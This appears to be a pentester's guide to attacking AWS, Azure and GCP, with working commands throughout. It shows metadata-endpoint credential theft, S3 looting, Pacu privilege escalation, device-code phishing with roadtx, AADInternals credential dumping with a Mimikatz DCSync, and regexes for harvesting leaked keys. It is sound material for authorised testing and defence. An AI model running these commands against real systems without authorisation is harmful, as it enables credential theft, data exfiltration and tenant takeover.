Cloud Pentest — AWS · Azure · GCP

Top exploitable cloud vectors 2024-2026: SSRF to IMDS, IAM privesc paths, public S3 buckets, Entra ID device code, Managed Identities, ConfusedFunction, tooling (Pacu, CloudFox, ROADtools, AzureHound).

Cloud Pentest — AWS, Azure, GCP

In 2026, 70%+ of corporate infrastructure lives in cloud. If your methodology is still nmap + on-prem AD, you’re missing most of the perimeter. 99% of cloud breaches through 2025 come from customer misconfigurations, not provider flaws (Gartner).

The three clouds share concept (shared responsibility, identities, ephemeral tokens) but diverge entirely in their permission model. Attacking AWS with Azure mindset misses 80% of real vectors.

Shared responsibility — pentester boundary

Concept	AWS IAM	Azure RBAC	GCP IAM
Model	JSON policy attached to user/role/resource	Role assignment over scope (MG > Sub > RG > Resource)	Binding (member, role, resource) on hierarchy Org > Folder > Project > Resource
Ephemeral token	STS AssumeRole (1h-12h)	Managed Identity / federated token	Service Account impersonation
Emblematic privesc	iam:PassRole + lambda/ec2	Owner over Managed Identity	iam.serviceAccountTokenCreator
Audit	CloudTrail	Entra Sign-in Logs + Activity Log	Cloud Audit Logs

Pentester boundary per the “Customer Support Policy for Penetration Testing”:

• AWS: EC2, RDS, CloudFront, Aurora, API Gateway, Lambda, Lightsail, Elastic Beanstalk without pre-approval. DDoS and DNS-attack simulation still require a form.
• Azure: any tenant resource without prior notice since 2022, except sustained DDoS > 200 Gbps.
• GCP: “Customer Projects in Scope” policy.

---

AWS — Top 10 exploitable vectors 2026

1. SSRF to IMDSv1 (vs IMDSv2 with hop-limit)

IMDSv2 requires PUT with TTL=1, killing classic SSRF via reverse proxies. Still exploitable when: app follows HTTP redirects, SSRF is at app layer (not proxy), IMDSv1 still enabled on old AMIs, or hop-limit was raised to 2 to support containers.

# IMDSv2: get token and steal credentials
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>

2. IAM Privilege Escalation (Rhino’s 21+ paths)

Rhino Security Labs catalogs 21 base paths + extensions. Examples: iam:CreateAccessKey, iam:CreateLoginProfile, iam:UpdateAssumeRolePolicy, iam:AttachUserPolicy, iam:PutUserPolicy, lambda:CreateFunction + iam:PassRole, sagemaker:CreateNotebookInstance + iam:PassRole, glue:CreateDevEndpoint + iam:PassRole, ec2:RunInstances + iam:PassRole.

pacu> set_keys
pacu> run iam__enum_permissions
pacu> run iam__privesc_scan   # auto-exploit

3. Public S3 buckets (how it still happens in 2026)

Despite “Block Public Access” by default since 2023: GrayHatWarfare indexed >270,000 sensitive PDFs from NACH bank in August 2025; 23% of cloud incidents 2025 come from misconfigured buckets.

aws s3 ls s3://target-bucket/ --no-sign-request
aws s3 sync s3://target-bucket/ ./loot/ --no-sign-request

# OSINT
curl "https://buckets.grayhatwarfare.com/api/v2/buckets?keywords=target"

4. Lambda with plaintext env vars

Anyone with lambda:GetFunction reads env vars; in CloudFormation visible via cloudformation:GetTemplate.

aws lambda list-functions --query 'Functions[*].FunctionName'
aws lambda get-function-configuration --function-name <fn> \
  --query 'Environment.Variables'

cloudfox aws lambdas-and-ec2-userdata --profile target

5. SSM Session Manager abuse

ssm:StartSession + ec2:DescribeInstances jumps to any EC2. New 2023-2025: SSM agent can register on attacker account and act as cross-account RAT without victim’s CloudTrail.

aws ssm describe-instance-information
aws ssm start-session --target i-0abcd1234efgh5678

6. Cross-account confused deputy

Service assuming cross-account role without sts:ExternalId or aws:SourceAccount condition. Typical SaaS integration pattern.

aws sts assume-role \
  --role-arn arn:aws:iam::VICTIM:role/SaasIntegration \
  --role-session-name attacker

7. Cognito misconfiguration

Identity Pool with guest access grants STS creds without login. 2025 vulnerability: email attribute mutation in valid token allows ATO by changing email to victim.

8. CloudTrail blind spots

Whitespace-padding (Permiso): IAM policies between 102,401 and 131,072 chars cause requestParameters to log as omitted:true. Adversaries use PutEventSelectors, StopEventDataStoreIngestion, PutInsightSelectors instead of classic StopLogging.

9. ECS/EKS escape vectors

ECScape (Sweet Security 2025): a low-priv ECS container impersonates the ECS agent and obtains creds for the task execution role + neighbor tasks via 169.254.170.2.

curl http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI

10. Post-exploitation stack

# CloudFox - exhaustive recon
cloudfox aws all-checks --profile target
cloudfox aws permissions --principal user/alice --profile target
cloudfox aws secrets --profile target

# Pacu
pacu --session demo
pacu> import_keys default
pacu> run aws__enum_account
pacu> run iam__bruteforce_permissions
pacu> run s3__bucket_finder

---

Azure — Top 10 exploitable vectors 2026

1. Entra ID device code phishing

Storm-2372 (Feb 2025) and AI-enabled device code campaigns (April 2026) consolidate device code flow as dominant vector.

roadtx devicecode -c 29d9ed98-a469-4536-ade2-f981bc1d605e \
  -r https://graph.microsoft.com
roadtx interactiveauth   # after victim enters the code
roadtx prtenrich         # pivot to PRT by registering device

2. App Registrations with secrets in repos

Search clientSecret, client_secret, app_secret + tenant GUID on GitHub/Sourcegraph. With (tenantId, clientId, clientSecret) you request Graph token and act as the app.

curl -X POST "https://login.microsoftonline.com/$TID/oauth2/v2.0/token" \
  -d "client_id=$CID&scope=https://graph.microsoft.com/.default&client_secret=$CSEC&grant_type=client_credentials"

3. Managed Identities abuse

VM/Function/App Service with MI requests token from 169.254.169.254 (System-assigned) or IDENTITY_ENDPOINT (User-assigned). MI with Contributor or Key Vault Secrets User = full lateral movement.

# From compromised Linux VM
curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fvault.azure.net" \
  -H "Metadata: true"

az login --identity
az keyvault secret show --vault-name target-kv --name dbpass

4. Azure Functions privilege escalation

CVE-2025-59273 (Event Grid) allows unvalidated payloads in Functions/Logic Apps. CVE-2025-62207 (Azure Monitor) SSRF → privesc. Historically “Royal Flush”: Functions containers with --privileged allowed host escape.

5. Storage Account anonymous access

Anonymous listing via ?restype=container&comp=list. STORM-0501 (2025 ransomware campaign) uses this for exfil.

curl "https://victim.blob.core.windows.net/\$logs?restype=container&comp=list"
curl "https://victim.blob.core.windows.net/?comp=list"

6. Key Vault permission misconfigs

Contributor can modify KV Access Policies (legacy model) and read secrets without being formally KV-admin.

az keyvault list
az keyvault secret list --vault-name target-kv
az keyvault secret show --vault-name target-kv --name connectionstring

7. Conditional Access bypass

CVE-2025-55241 (Dirk-jan Mollema, July 2025): cross-tenant tokens evading CA. Generic vectors: legacy User Agents, IPs from non-excluded ranges, FOCI app swap.

8. PIM elevation abuse

PIM URLs accessible even with “Restrict access to Microsoft Entra admin center” enabled. Compromised user with eligible role + token prior to PIM activation can activate role without MFA in some cases.

9. Lateral movement Entra → on-prem AD Connect

The AD Connect server holds the MSOL_<random> account with DCSync rights. Local admin on Sync server → aadconnectdump or AADInternals extract encrypted creds → DCSync → on-prem DA.

Import-Module AADInternals
Get-AADIntSyncCredentials   # dump MSOL hash from AD Connect
Invoke-Mimikatz -Command '"lsadump::dcsync /domain:corp.local /user:krbtgt"'

10. Post-exploitation stack

# ROADtools - full enum after token
roadrecon auth -u [e-mail] -p 'pass'
roadrecon gather
roadrecon gui   # http://localhost:5000

# AzureHound (BloodHound CE 5.x)
JWT=$(az account get-access-token --resource https://graph.microsoft.com | jq -r .accessToken)
azurehound list --jwt "$JWT" --tenant target.onmicrosoft.com -o azhound.json

# AADInternals
Get-AADIntLoginInformation -UserName [e-mail]
Invoke-AADIntPhishing -Tenant <id> -PushNotification

---

GCP — Top vectors

1. Service Account keys leakage

SAs with JSON keys in repos / public S3. Key doesn’t expire by default.

gcloud auth activate-service-account --key-file=key.json
gcloud projects list

2. Compute Engine metadata SSRF

GCP requires Metadata-Flavor: Google header since 2019. Key endpoint: http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token.

curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

3. IAM hierarchy escalation

Key permissions for full privesc:

• iam.serviceAccountTokenCreator — generate tokens for any SA
• iam.serviceAccountKeyAdmin — create new keys
• cloudfunctions.functions.update + actAs — pivot to arbitrary SA
• compute.instances.setMetadata — inject SSH key in startup script

gcloud iam service-accounts get-iam-policy [e-mail]
gcloud iam service-accounts keys create key.json \
  --iam-account=[e-mail]

4. ConfusedFunction (Tenable 2024)

Creating/updating Cloud Function attaches the SA <projnum>@cloudbuild.gserviceaccount.com with default Editor role, allowing escalation to project Editor.

gcloud functions deploy evil --runtime python311 \
  --trigger-http --entry-point main --source . \
  --service-account [e-mail]

5. OSINT and post-exploitation stack

# GCPBucketBrute
python3 gcpbucketbrute.py -k target-keyword -u
python3 gcpbucketbrute.py -k target-keyword -f sa-key.json

# gcloud quick-wins
gcloud projects get-iam-policy <PROJECT> --format=json
gcloud auth print-access-token
gcloud secrets list && \
  gcloud secrets versions access latest --secret=<NAME>

---

Modern tooling 2026

Tool	Cloud	Typical use	Status
Pacu	AWS	Exploitation framework, 35+ modules	Active (Rhino)
CloudFox v1.17+	AWS / Azure / GCP	Post-exploitation, 34 cmds AWS	Active (Bishop Fox)
ROADtools / roadrecon / roadtx	Azure / Entra	Enum + token mgmt + device code	Active (Dirk-jan)
AADInternals	Azure / M365	PowerShell, federation backdoors, AD Connect dump	Active
AzureHound + BloodHound CE 5.x	Azure / Entra	Path-finding via Cypher	Active (SpecterOps)
GCPBucketBrute	GCP	Bucket enum + privesc test	Active (Rhino)
Prowler v5+	Multi (AWS/Azure/GCP/K8s)	CIS/NIST/PCI audit, 500+ checks	Very active
PurplePanda	GCP / Azure / GitHub	Privilege escalation paths	Active
ScoutSuite	Multi	Visual HTML audit	De-facto deprecated (no updates since May 2024)

---

Cloud-specific OSINT

S3 bucket enum

python3 cloud_enum.py -k target -k target-corp
gobuster s3 -w wordlists/s3-buckets.txt \
  -b "target-,target-prod-,target-dev-"

GitHub dorking — 2026 regex

AWS_ACCESS_KEY_ID:        AKIA[0-9A-Z]{16}
AWS_SECRET_ACCESS_KEY:    [A-Za-z0-9/+=]{40}
Azure tenant + clientId:  [0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}
GCP SA key:               "type": "service_account"

# Trufflehog v3 (verifies secret online)
trufflehog github --org=target --only-verified

# Gitleaks (fast, regex)
gitleaks detect --source . --report-format json --report-path leaks.json

GitGuardian: 28.65M secrets leaked publicly on GitHub in 2025, +34% YoY.

GrayHatWarfare + SourceGraph

curl "https://buckets.grayhatwarfare.com/api/v2/buckets?keywords=target"
curl "https://buckets.grayhatwarfare.com/api/v2/files?keywords=db.sql"

# SourceGraph: AKIA[A-Z0-9]{16} content:.* file:\.env$
# https://sourcegraph.com/search

---

Reporting cloud findings

Applicable CVSS (with cloud context)

Finding	CVSS	Justification
Public S3 bucket with PII	7.5 (High)	High C, no auth
IAM role with iam:* accessible via SSRF	9.8 (Critical)	High C/I/A, AV:N
MI with Contributor on sub	9.1 (Critical)	Full tenant privesc
CloudTrail log evasion via padding	5.3 (Medium)	Only I (log integrity)
Cognito self-signup → guest STS	7.3 (High)	Mid C+I

Always combine with EPSS (30-day exploit probability) and business context.

Quantifying impact

• Billing abuse: hourly cost of malicious instances (BTC mining: a p3.16xlarge runs ~25 USD/h). Project to 30/90 days if account stays compromised.
• Data exfil: bucket size × egress price ($0.09/GB outbound AWS) + regulatory data value.
• Resource hijacking / LLMjacking (2024-2025): Bedrock invokeModel, Azure OpenAI = massive billing.

GDPR in cloud

• Art. 33 72h breach notification applies to cloud customer (still Data Controller).
• International transfers: map regions — use EU-only (eu-west-3, westeurope, europe-west1) and verify SCC + TIA post Schrems II.
• Art. 32 technical measures: SSE-KMS (CMK), TLS 1.2+, pseudonymization, mandatory MFA, traceability.
• Mandatory DPIA if cloud system processes special categories at scale (Art. 35).

---

Resources

• Hacking The Cloud — Wiki by Rhino
• Datadog Security Labs
• Wiz Cloud Threat Reports
• NetSPI Cloud Pentesting blog
• Bishop Fox CloudFox
• Rhino — AWS IAM PrivEsc
• Rhino — GCP IAM PrivEsc
• Microsoft Storm-2372
• Tenable — ConfusedFunction

---

Related resources

• Professional web recon — Passive, fingerprinting, type confusion (common to cloud).
• Tactical glossary — IAM, JA3, SSRF.
• Report template — CVSS and GDPR.